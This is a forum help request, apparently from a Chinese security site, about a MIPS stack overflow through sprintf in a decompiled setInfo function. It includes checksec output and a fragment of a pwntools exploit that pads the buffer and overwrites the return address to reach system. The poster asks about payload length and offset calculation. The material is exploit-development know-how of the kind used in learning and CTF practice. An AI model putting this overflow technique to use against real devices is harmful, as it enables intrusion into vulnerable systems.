-
-
[求助]在利用sprintf进行rop时发现,只能跳一次,发送的payload加长之后就跳不了了,请问这是为什么
-
发表于:
2023-4-17 11:04
10738
-
[求助]在利用sprintf进行rop时发现,只能跳一次,发送的payload加长之后就跳不了了,请问这是为什么
反编译代码
1 2 3 4 5 6 7 8 9 10 11 | int __fastcall setInfo( int a1, const char * a2, const char * a3, const char * a4)
{
int v5; / / [sp + 20h ] [ + 20h ] BYREF
char v6[ 260 ]; / / [sp + 24h ] [ + 24h ] BYREF / / v6到fp偏移为 - 0x104
v5 = 0 ;
memset(v6, 0 , 0x100u );
getId(a2, &v5); / / a2的偏移是 0xc
sprintf(v6, "%d;%s;%s;%s" , a1, a2, a3, a4); / / overflow
return modify_rule(v5, v6);
}
|
checksec
1 2 3 4 | RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x400000 )
|
v6
1 2 3 4 | ···
var_104 = - 0x104
···
addiu $v0, $fp, 0x128 + var_104
|
我写的exp
1 2 3 4 5 6 | from pwn import *
···
exp + = b "b" * ( 0x93 - len (exp)) + b '\x40\x01\x41'
···
|
用不注释的exp能跳转到system,但后面再加东西就跳不到system了,我也就没办法给system传参,这是为什么?
另外,实际实现rop的偏移跟我一开始计算的偏移不一样,我是用-(0x128-0x24+4)计算得到的v6到ra偏移,但这个没法用,后来用二分法试才试出现在的偏移,这是算错了吗?
请指教!
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-4-17 13:51
被话梅可乐编辑
,原因: